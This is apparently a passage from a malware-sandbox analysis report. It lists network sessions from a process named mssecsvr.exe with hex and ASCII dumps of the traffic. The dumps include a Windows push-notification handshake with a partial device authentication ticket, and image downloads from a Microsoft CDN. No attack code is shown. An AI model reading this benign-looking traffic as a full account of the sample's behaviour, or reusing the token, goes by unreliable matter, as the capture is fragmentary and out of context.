zd5y9,joqnN19[q_gJnLj#6Rdi,0O\!+g~JW{$`sEbNsF$?0NM&TS!2U8S1^.R\Ku5jUq'OTm=rO5`OsZR%ybbX=9 yh)e)od
2022-07-20 04:06:50 UTC	2707	IN	Data Raw: ee c9 3f 85 36 45 0d d4 6e fa d3 e4 5c 70 c5 73 f4 aa ac cf 1b f0 06 3e 98 ad 14 5b 34 e6 40 ea 1b 18 24 7d 69 8e 07 19 27 1e c2 96 4b 87 8d 79 03 9f 5a 8c 36 ee 55 f8 f5 c5 57 2b 0e 64 23 2a 8e 86 9a df 77 93 81 ed 43 ed 1c 93 cf f7 88 a6 19 57 71 03 9c 53 e4 0e 71 a0 e7 8e a3 f3 a6 ba 13 c8 23 1e dc 52 1e 79 03 15 1b 61 9b 38 e9 d6 ab 95 89 c9 30 65 db d7 f3 a6 15 34 ac 72 bc 81 f4 14 d2 7f 4a 7a 92 35 8b 6d e7 9a 8d 98 96 e4 62 a6 27 3d 6a 32 73 c7 34 22 59 0b f3 c1 e4 fb d4 24 32 b7 b5 58 23 0d 80 7f e0 55 1b 8f 9b 20 83 f4 aa b9 95 8a ec 4b 2e 0f 1f ed 0a 61 c8 e8 09 a9 48 21 aa 37 e3 90 38 aa 15 88 cc 8c 38 00 e4 54 52 33 6e f4 3f 4a 7b 32 f4 3c 7a 53 4c 80 70 7a d5 13 f3 21 f3 5f a1 04 1f 6a 4f 35 b6 f4 e9 ed 4a d2 06 6c 63 a7 ad 42 d9 56 ce 7f 0a Data Ascii: ?6En\ps>[4@$}i'KyZ6UW+d#*wCWqSq#Rya80e4rJz5mb'=j2s4"Y$2X#U K.aH!788TR3n?J{2<zSLpz!_jO5JlcBV
2022-07-20 04:06:50 UTC	2946	IN	Data Raw: 25 95 d2 74 47 c8 e5 8f 4e 0e 69 c5 99 f8 28 d8 07 39 a4 5b 49 61 5e 0b 3e 3d 6a 3f b5 49 13 61 81 1f ca b4 bf 72 0b 71 ca f1 e4 83 20 6e 38 ed 8a 6b cf 7a 72 57 68 fa d4 3f 6e 95 f2 09 50 be dc 93 48 27 2c b9 5d de e6 a9 32 6d ae 85 b1 2d db 21 12 4a 23 cf 78 a3 cf e9 4c 16 ae ca 4a 3b 3b 7a b0 00 7e 55 18 91 b6 64 e7 03 df 9a b3 6d 3c 7b 81 91 db 18 e8 05 5a 62 0b 7b 60 8b 97 0b bb d8 1c 54 ce 91 6e 19 8d 5d 7d f8 a9 95 ad c2 ef 00 a6 7a 66 a2 7b 91 bb e4 7d e7 e9 4e e4 72 8f 89 a3 8d 86 cb 68 77 0e 46 54 1f e7 55 6f 51 ee a4 f3 2e 2e 6e 30 0e 44 60 80 bf 96 2a cf db 37 2e 3c 80 71 d6 82 3e d0 99 11 1f c2 ab 99 8b 95 18 77 d7 13 9c 14 bf 94 04 6d ca 84 e4 6f 1d 09 1e dd ab 9a 78 1a 04 73 3e b1 34 72 48 cc 4b 09 46 4e 7a fb 57 45 a9 68 e2 67 39 05 2b 9d Data Ascii: %tGNi(9[Ia^>=j?Iarq n8kzrWh?nPH',]2m-!J#xLJ;;z~Udm<{Zb{`Tn]}zf{}NrhwFTUoQ..n0D`*7.<q>wmoxs>4rHKFNzWEhg9+
2022-07-20 04:06:50 UTC	3002	IN	Data Raw: 2d cf 07 3d b3 e8 7b d7 1c e9 46 ac 39 79 6c 65 63 d1 34 fb 9d 3e e2 c5 3c c9 77 db 85 2e 63 ce 01 00 f4 1e a6 a4 8f 5e d3 07 98 20 82 28 e7 03 63 c4 a3 aa 7f b5 8e e0 57 0d 7e 74 d5 8d d5 6e 63 db 08 0e a2 23 c1 c1 c6 d1 eb cf 5a cb b1 d5 db ed 37 13 c7 1c 71 17 62 db 79 c9 38 e9 ef f9 d7 0b cb 79 ae ee c7 14 93 d8 f6 0b 57 84 c2 85 5c fd 9b ef b0 55 c7 07 a0 e4 e7 15 8f 35 dc 7a ad d4 97 46 5b a8 c9 3f ea a3 6d 83 60 e3 a6 3a e2 b8 fb 5d 7b 54 9e 06 44 80 79 6e 3e 66 e7 01 88 e3 af a7 a5 5f 8f 50 bb d8 0c 80 46 db 4a f0 b8 0c c4 73 cf b0 e4 62 b9 7e a1 52 9d d9 a4 62 ae cd a9 af 9e ed ad fc b4 58 2d 21 62 c3 27 73 b8 27 82 c4 f5 3e de 95 6b 4f b5 68 24 13 dc 41 1e e9 32 48 20 15 20 9e 8b 9e 01 15 87 12 c9 69 e5 93 3e c3 22 80 73 80 c0 67 93 83 cf e5 4e Data Ascii: -={F9ylec4><w.c^ (cW~tnc#Z7qby8yW\U5zF[?m`:]{TDyn>f_PFJsb~RbX-!b's'>kOh$A2H i>"sgN
2022-07-20 04:06:50 UTC	3081	IN	Data Raw: de 27 9a 37 02 64 01 79 50 0e 06 7a 13 83 4f 9f 95 37 cb 66 74 29 26 ed 1e a7 3b e2 48 75 c8 27 5b 28 9e 48 24 45 11 bb 33 00 58 f5 2e 70 00 62 7b 0e b8 ae 76 df 5b f1 36 9d 7b f6 6b 8b 21 a9 69 fb b2 e6 14 cc bc 75 dc 3d 31 d3 3c 57 6e da 23 6a 7a 3d e9 7b 98 e5 bf 46 c8 16 97 62 49 61 01 b0 a2 45 38 20 9e d8 cd 70 f6 1e 30 d2 ec 6e 9a 0b f9 26 17 21 8a 33 79 3b 97 83 dc 82 0a 9c f5 19 af 46 2d 38 d9 1c b2 4e 2f 73 7b 55 f1 de 83 7f 67 04 d0 69 91 46 d6 ed e5 a3 4d 17 96 cb c7 f1 10 79 c7 3c 0a cc 9b c6 5a 9e b9 ae 69 e2 d2 f2 23 a6 89 15 25 8d b9 d9 1f f1 0d db 7a 77 c9 ae d3 c1 3a 8e 8b e3 44 bd d3 ed 2d 2d af e5 b7 46 9e f1 58 00 9e 58 23 e7 60 79 04 64 72 3a 8a d6 87 49 3a 5d d4 9a 8d 94 f6 b1 5a 79 66 17 92 db 31 a9 8c 7f 09 04 0c 8c 8f bd 5c 72 5e Data Ascii: '7dyPzO7ft)&;Hu'[(H$E3X.pb{v[6{k!iu=1<Wn#jz={FbIaE8 p0n&!3y;F-8N/s{UgiFMy<Zi#%zw:D--FXX#`ydr:I:]Zyf1\r^
2022-07-20 04:06:50 UTC	3196	IN	Data Raw: bb a9 a5 a8 01 84 fb d0 1b b5 27 5a 38 1d ab 42 35 b8 bb 80 ec 69 37 1e b8 a6 ee a3 77 ad 50 bc 85 c9 3c d0 3f 4a 37 7b 51 bb b0 1c d0 4d 87 02 0f 4e 71 4e 27 bd 33 91 d2 8c e6 82 92 1c 1f 34 bc f5 3c 52 64 50 1b 3d e9 13 ea 3b 38 e4 d2 06 dd d2 97 db 8a 42 7d e8 24 09 34 12 77 7a d3 4b 0e 83 26 81 fe e1 aa b8 0e e9 d2 85 fb b9 1d e9 b9 c7 5e b4 06 1d 07 5a 40 2b fb 8d d5 1a a9 dd df f1 a7 3f a7 26 9a 0b 37 07 a5 30 14 e2 90 b6 d5 a4 e0 74 a6 96 a6 02 11 b9 79 3c 52 a9 03 80 0d 2e 41 ed 48 36 8e f4 0e c2 39 c6 3b fd 69 a5 89 e8 3f 5a 5f 6c d3 18 6d e3 f9 50 03 c3 ed e9 8f ce 90 b1 1d 7a fb 53 33 4f 5f 7a 02 e1 93 f8 d3 81 dd c1 a0 03 d8 d0 a3 b9 a0 62 ec f9 b2 7f f1 da 70 8c 73 ce 28 c8 3d 29 59 bd 7b d0 48 d2 71 d0 d4 6d f3 36 39 a7 85 1d 4d 21 f5 1c 0a Data Ascii: 'Z8B5i7wP<?J7{QMNqN'34<RdP=;8B}$4wzK&^Z@+?&70ty<R.AH69;i?Z_lmPzS3O_zbps(=)Y{Hqm69M!
2022-07-20 04:06:50 UTC	3252	IN	Data Raw: 6b 74 8d 40 24 e0 83 91 9c 7b d5 bb 3d 2b 4a 68 e4 17 ba a8 b7 b9 d8 58 02 49 04 8e 80 63 a9 35 a1 63 e1 88 d1 50 ac 71 48 c7 ef 34 8c 19 87 e7 d2 ba 1b 3f 08 4b 74 f1 8f b3 db fc dd 0f 5e 9e e2 b1 fa c4 53 e5 89 9c 5b 7b 23 86 16 10 db e0 41 24 d2 b3 73 fb a2 c0 73 ea 2b 3a f1 16 d5 f7 3c 73 3a f2 18 b1 38 cf d4 57 b1 dc 78 6e 4b 62 23 92 48 c2 10 32 bd 87 d4 d5 79 7c 2b 15 fc 2f 20 7d f1 c7 f7 d4 b1 1c 7f 9f 4a ba 75 6a 39 5d c7 f1 06 a5 7d 4f bc 4b 1f e1 39 a9 e1 b9 92 15 f9 51 7e a4 52 13 b1 73 c7 e0 2a 3d c1 9b 27 26 bd bb a6 09 34 48 6e 26 99 f2 4d 4c 04 9b 72 e7 9f 4a 8e 32 bd a3 e7 eb 56 15 37 71 8d a2 b3 66 91 23 33 38 6c 63 27 d2 ad c1 34 c1 72 e4 20 ed 9a 89 20 52 d8 df fe 35 61 23 b7 0b ca 64 ff 00 b4 79 ac db 5b 1a 45 31 d2 38 95 70 66 c8 ef Data Ascii: kt@${=+JhXIc5cPqH4?Kt^S[{#A$ss+:<s:8WxnKb#H2y\|+/ }Juj9]}OK9Q~Rs*='&4Hn&MLrJ2V7qf#38lc'4r R5a#dy[E18pf
2022-07-20 04:06:50 UTC	3307	IN	Data Raw: bc 33 71 6e ec 65 83 63 1f b3 ca 31 b9 58 74 3b 7a e0 9f 5a ec a1 f0 ac fa 7a b8 d3 b5 3d eb 9e 16 ed 41 4e 7b 2e 3a 91 ef 5c 87 c5 4f 0a 25 8b db ea b6 ef 25 d1 ca c7 28 2a 40 dd eb 83 ce 0f 4a 72 8e 97 1a f2 3d f7 e1 8f 8e e0 f8 81 e1 ef b5 8d b1 df 5b 91 15 dd b8 3d 1b b3 8f f6 5b a8 f7 c8 ae d0 05 65 f9 6b e6 2f 82 72 4d e1 5f 88 90 42 ce de 55 e8 f2 25 ce 42 90 c3 2b c7 a8 3e b5 f5 09 b7 f9 c8 3c 63 8e 2b 7a 75 39 97 a0 72 f6 1d 0c 43 70 cf 27 de b6 2c ec 16 44 0c 40 1d b8 ac 64 59 23 6e 39 1d 2b 5f 4f b9 b8 54 20 72 3e 94 a7 2d 34 35 8f 99 e1 de 2e d5 25 f0 e7 8b 64 d7 74 e8 85 c6 a7 a7 ee 4d 4a c4 ff 00 cb e5 b6 7e f2 ff 00 b4 a2 bb 2b 4b b8 fc 41 a5 db 6a 3a 1c ff 00 66 82 e5 37 db 6d e4 60 9e 77 0e c7 b1 ae 33 e2 d5 84 da 27 88 24 d6 e0 cb 48 32 Data Ascii: 3qnec1Xt;zZz=AN{.:\O%%(*@Jr=[=[ek/rM_BU%B+><c+zu9rCp',D@dY#n9+_OT r>-45.%dtMJ~+KAj:f7m`w3'$H2
2022-07-20 04:06:50 UTC	3381	IN	Data Raw: 21 26 97 fd a9 0f 42 48 ed f8 d7 96 fc 41 f0 9d ae bb a8 44 35 97 b8 83 53 54 54 86 ee 12 a0 13 8e 41 20 e3 69 18 eb 9a de 8c 69 ce 5c b3 4e e7 25 69 54 8a e6 83 d0 f3 6f 14 fc 60 ba d1 dc e9 a9 03 5b 33 f0 b2 5c 46 59 88 cf ca 54 f6 cf bd 73 ff 00 f0 b3 7c 4d 6f 74 f7 37 7a 74 5a a3 ac 61 16 5f e1 50 07 43 b7 82 71 f8 d7 af 41 f0 1a d6 e1 a3 bf 67 8b 59 b7 95 b6 ac 41 b2 fb 47 05 82 93 9c 03 c1 1e b5 e8 f6 1f b3 b7 86 6e 2d 7c eb 43 2c 0b 85 12 45 08 50 14 8f e1 61 8f 5f 5e 6b de a7 87 ec ec 78 92 a9 27 b9 f3 b7 87 fe 31 68 02 d6 46 d7 34 4d 57 ed 2c c0 c3 0d a4 9c 2b 63 ef 2b 75 cf a6 79 1e b5 f4 17 81 7e 2f 78 37 56 9b 4e 83 4f d4 d9 b5 0b 8d b1 f9 37 f6 ed 6d 76 8f 81 f3 79 87 87 e7 a9 04 57 61 a4 fc 1f f0 96 95 08 58 f4 3b 43 28 20 99 4a 0d d9 1d 0f Data Ascii: !&BHAD5STTA ii\N%iTo`[3\FYTs\|Mot7ztZa_PCqAgYAGn-\|C,EPa_^kx'1hF4MW,+c+uy~/x7VNO7mvyWaX;C( J
2022-07-20 04:06:50 UTC	3429	IN	Data Raw: aa 50 21 56 e3 8a d1 8e 32 50 e4 d4 73 a2 d4 6e 4f 1c 64 26 41 e2 ac c2 8b 26 33 d6 ab c4 3e 4c 03 9f ad 4f 0e d4 5c 93 55 73 4b 16 95 51 57 1c e6 ac 42 9b b1 c5 41 6f 34 1b 48 3d 7b 1a b5 fd a6 89 0e c0 39 15 1c cf 6b 0e cb 72 d4 31 a6 fd 92 3e 0f f7 ab 9e f1 b6 97 1d de 9f 22 09 33 c1 35 a0 5d a7 f9 c7 7e b5 1d c5 b2 c9 09 47 cb 92 2a a4 9d b5 64 c6 4a fa 23 e6 7f 10 78 71 ed 2f 09 23 7a b6 71 c5 71 5a b5 a3 a4 9f 2a 60 63 d3 d2 be 8b f1 1f 86 3c d6 27 61 2b d6 b8 5d 53 c2 bf 23 2f 97 93 d8 e2 bc b9 d1 77 b9 6e 6e d6 3c 69 ed 25 75 c8 1d 2a 9d f2 4a 61 0a 49 2b 9e 45 77 7a 86 83 35 ae 54 47 c6 6b 1a 7d 26 66 47 c4 66 b9 da 94 1d ec 3e 7b 9c 44 b6 b9 ed cd 54 92 16 5e 47 6a eb 24 d1 ee 15 43 04 27 07 d2 b3 ee ac 64 95 f8 8c 8f c2 ba 63 5b a1 9f 2d cc 88 Data Ascii: P!V2PsnOd&A&3>LO\UsKQWBAo4H={9kr1>"35]~GdJ#xq/#zqqZ`c<'a+]S#/wnn<i%u*JaI+Ewz5TGk}&fGf>{DT^Gj$C'dc[-
2022-07-20 04:06:50 UTC	4065	IN	Data Raw: 9e 81 81 c6 41 a9 23 d2 a1 93 81 d4 56 fe d2 3d 51 97 b3 92 7a 19 31 dc 33 0c d5 a8 4b 48 b8 02 b4 d7 4d 86 35 0a 7e f5 4b 15 ac 56 8a 5c 0c 93 eb 55 ed 62 b6 0f 67 2e e6 41 56 56 c6 0e 6a 58 b9 70 3d eb 51 9e 39 14 3e 39 aa 72 00 1c 9e 9e 9b ab 68 d4 be 8c 1d 2b 1b b0 2c 11 db 0c 95 07 bd 55 9e f2 dc 36 08 ac 49 2e 9d 1b 00 e0 54 26 62 fd 79 aa 54 fa b6 27 24 8b f7 4b 0c cb 9c 0c 57 3b a8 58 45 b8 fc 80 91 5a 62 56 0b 80 6a 17 cc 8d 92 39 aa f6 68 97 23 8d d4 74 88 66 7c 98 b9 e9 d2 b0 af bc 3a 11 09 8e 3c e7 da bd 16 78 37 75 1f 9d 51 7b 52 dc 10 00 ae 7a 94 14 b6 2e 33 b3 3c aa e3 c3 e1 57 2c 9b 3d 6b 12 eb 48 89 72 40 19 ed 5e b9 ab 68 4c f6 e4 a7 cd 9e 6b 8b bc d0 58 37 03 9f 4a f2 aa 61 df 43 a2 32 4f 43 ce 1a ca 41 21 0c 9c 1a 65 c6 96 4a e7 19 3d Data Ascii: A#V=Qz13KHM5~KV\Ubg.AVVjXp=Q9>9rh+,U6I.T&byT'$KW;XEZbVj9h#tf\|:<x7uQ{Rz.3<W,=kHr@^hLkX7JaC2OCA!eJ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	50774	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:55 UTC	6139	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 66 36 32 61 37 30 34 39 34 32 61 37 39 39 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: cf62a704942a7992
2022-07-20 04:06:55 UTC	6139	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:06:55 UTC	6139	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 66 36 32 61 37 30 34 39 34 32 61 37 39 39 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: cf62a704942a7992<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:06:55 UTC	6140	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 66 36 32 61 37 30 34 39 34 32 61 37 39 39 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: cf62a704942a7992<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:06:55 UTC	6140	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:06:55 UTC	6140	IN	Data Raw: 4d 53 2d 43 56 3a 20 55 2b 76 6a 79 39 67 53 57 30 65 4a 74 46 74 32 36 54 2f 6d 79 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: U+vjy9gSW0eJtFt26T/myA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	50889	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:58 UTC	6140	OUT	GET /cms/api/am/imageFileData/RWEqP7?ver=b660 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 04:06:58 UTC	6140	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWEqP7?ver=b660 Last-Modified: Sun, 17 Jul 2022 12:43:28 GMT X-Source-Length: 393114 X-Datacenter: northeu X-ActivityId: 685c509b-f2d7-4cf6-8f27-8b66dfd2eda2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 393114 Cache-Control: public, max-age=203798 Expires: Fri, 22 Jul 2022 12:43:36 GMT Date: Wed, 20 Jul 2022 04:06:58 GMT Connection: close
2022-07-20 04:06:58 UTC	6141	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 04:06:58 UTC	6156	IN	Data Raw: a0 0e 95 20 89 57 02 9c 21 f9 40 14 13 b5 70 29 5c 76 2b 49 06 e7 f6 ab 50 c3 f2 f1 4c 55 f9 b9 ab 70 b8 5e 33 cd 26 dd 86 92 18 20 cd 2c 76 a5 9a ac a8 0c c3 9a 7e f0 9c 0e a3 bd 67 76 5d 90 8b 18 55 00 f5 a9 87 de c0 e9 55 bc cc b7 b5 58 8b 05 72 7e f5 49 68 96 91 98 85 e3 9a 18 61 78 35 5d c9 eb e9 c5 22 9e 84 ca 72 be 99 a6 bc 61 db 35 0a b3 2f 00 d4 f8 23 93 54 1b 90 fd 9f e6 fb d4 e6 93 cb e0 06 a9 41 c7 5e b4 98 cf 4e 95 37 1d bb 15 c4 bb b8 fb c6 9c 01 65 e3 8a 9c 46 a0 64 0a 36 8e d4 73 05 88 17 74 6d d7 35 20 94 85 e9 d6 9e f1 83 4c 09 f3 73 4e e8 43 cf 2b 9a 50 a7 bf 5a 04 40 73 9a 7e d3 fd ea c9 b2 c6 74 6e 28 c3 1e 0f 34 ed 94 e4 70 bc 1e 68 0b 90 ca a3 b8 aa e1 99 b2 2a f3 2e fa 8c 40 bd e9 f3 5b 46 4b 57 d8 87 af 4a 18 11 9f 4a b4 b1 05 a3 Data Ascii: W!@p)\v+IPLUp^3& ,v~gv]UUXr~Ihax5]"ra5/#TA^N7eFd6stm5 LsNC+PZ@s~tn(4ph*.@[FKWJJ
2022-07-20 04:06:58 UTC	6172	IN	Data Raw: da eb 1d 0e 69 ab 72 4f 4c 56 57 9e c2 9e 92 9e fc 52 f6 68 7e d2 e6 98 98 9f ad 30 9f 9b 9a a8 93 fa f3 52 ac 9b 9a a7 96 c5 a9 26 89 c3 1d d9 cd 2e 7f 1a 64 67 1c 9e 95 20 19 e6 a5 97 d0 6e 33 48 c7 1c d3 cf 0b 8f 5a 8f d6 92 11 1b 1d dd a9 a7 ef 7b 53 a9 18 03 80 2b 42 44 e9 db 9a 4d dd a9 48 a4 2b ba 90 6a 1b cf ad 2a b6 ee b4 2a 1a 91 50 0e 68 0e a3 58 65 72 2a bb ae e3 c5 5d 3f 77 a5 35 51 76 9c d4 a9 0d ea ac 50 65 c7 1d ea 29 13 0b c0 c9 ab af 18 df ed 51 95 f5 ad 2e 64 e2 66 3c 64 f2 6a 3d 87 f5 ad 29 22 07 91 4d 82 dc 13 92 3f 0a d3 9f 42 1c 75 d0 a9 1c 44 2e 6a 39 4e 38 ad 49 2d c9 5e 38 aa ed 67 9e bd 69 29 2d c1 d3 76 33 cf de c8 a6 ff 00 15 5e 6b 33 f2 f1 f8 53 be c6 4e 38 c5 5f 3a b1 9a 83 28 60 9f c2 81 1b 1a d0 16 79 c7 15 23 59 ed 5e 69 Data Ascii: irOLVWRh~0R&.dg n3HZ{S+BDMH+j*PhXer]?w5QvPe)Q.df<dj=)"M?BuD.j9N8I-^8gi)-v3^k3SN8_:(`y#Y^i
2022-07-20 04:06:58 UTC	6175	IN	Data Raw: 97 b7 fc 6a 29 13 1f 5a b5 2d 49 d5 15 0a 8d d8 15 34 71 92 d4 2c 4c 5b 20 66 ad 41 09 2d 92 31 44 a5 61 72 ea 39 6d 87 43 43 59 06 ab 89 11 3c 0a 95 61 05 b1 de b9 b9 ec 74 72 77 33 96 c4 1e a2 a6 fe cf 57 5c 04 ad 25 b7 2a b9 ed 52 ac 5d 4e 2a 25 55 9a 46 9a e8 63 7d 85 69 92 d8 7a 56 bb c3 9e 68 f2 41 eb 47 b4 61 ec d5 ce 7f ec 39 6c 7b d4 77 76 4b 12 7b f5 ae 89 ad 01 5a a9 73 6b 95 c1 ab 55 75 b1 0e 95 8e 52 5b 72 18 9a 81 a2 23 b5 6e cd 62 43 64 8e 2a bb da ed ea 2b b2 35 15 8e 29 51 d4 c7 68 80 e0 51 5a 9f 64 cb 1e 28 ad 3d a2 12 83 47 a3 34 96 f1 f5 a6 e6 de 4e 4e 29 45 b2 49 d7 a5 32 7d 38 0e 45 70 ab 1d fa 91 cb 04 47 90 06 2a 3f 22 26 e8 69 e2 d4 a7 07 26 91 ed c7 b8 f7 ab f9 99 ea 4d 15 bc 6a bc 1e 2a dc 51 21 e5 6b 19 a1 65 e8 d9 a5 59 e5 83 Data Ascii: j)Z-I4q,L[ fA-1Dar9mCCY<atrw3W\%R]N%UFc}izVhAGa9l{wvK{ZskUuR[r#nbCd+5)QhQZd(=G4NN)EI2}8EpG?"&i&Mj*Q!keY
2022-07-20 04:06:58 UTC	6191	IN	Data Raw: 79 11 19 26 36 23 ea 06 6b df 3f 65 bf 0e 5c 68 3f 07 f4 c3 70 a5 1e e9 de 75 42 30 76 93 c7 f2 af 29 31 46 d3 46 b2 26 f8 8b 00 c3 d4 13 cd 7d 8b a2 e9 d6 b0 e8 b6 49 04 6b 1c 02 14 d8 aa 30 00 db c0 15 e7 62 6d 09 29 1e b6 06 3c d7 f2 31 27 8f 3d 45 52 b8 b6 0b c8 4a eb 8d 8a 97 c6 38 34 4d a5 c7 b7 a6 6b 97 db a4 7b 3e c9 b4 70 cd 6c ea d9 3d 2a 45 b7 dc 99 09 9a df b9 b0 08 c7 68 c8 a8 be c3 21 50 40 c5 69 ed 53 33 f6 7a 99 3e 43 b2 f0 94 d7 d2 d9 ba e0 56 ab 5a ca 8f c0 a4 68 65 db c8 a3 da 07 b3 e8 d1 94 34 cd 9c 93 9f 4a 8a 4b 26 65 c8 35 b0 6d 5c f2 72 69 a6 d4 8e 94 d5 4e e2 f6 66 2a d8 b2 73 9a b5 1d aa ed cd 6a 0b 16 ea 47 34 c1 62 71 90 30 68 f6 88 15 3b 15 84 58 50 06 31 51 3d b0 76 c0 03 f1 ab ad 6e e3 b5 47 f6 6b 86 7c 22 13 f8 52 52 f3 07 Data Ascii: y&6#k?e\h?puB0v)1FF&}Ik0bm)<1'=ERJ84Mk{>pl=Eh!P@iS3z>CVZhe4JK&e5m\riNfsjG4bq0h;XP1Q=vnGk\|"RR
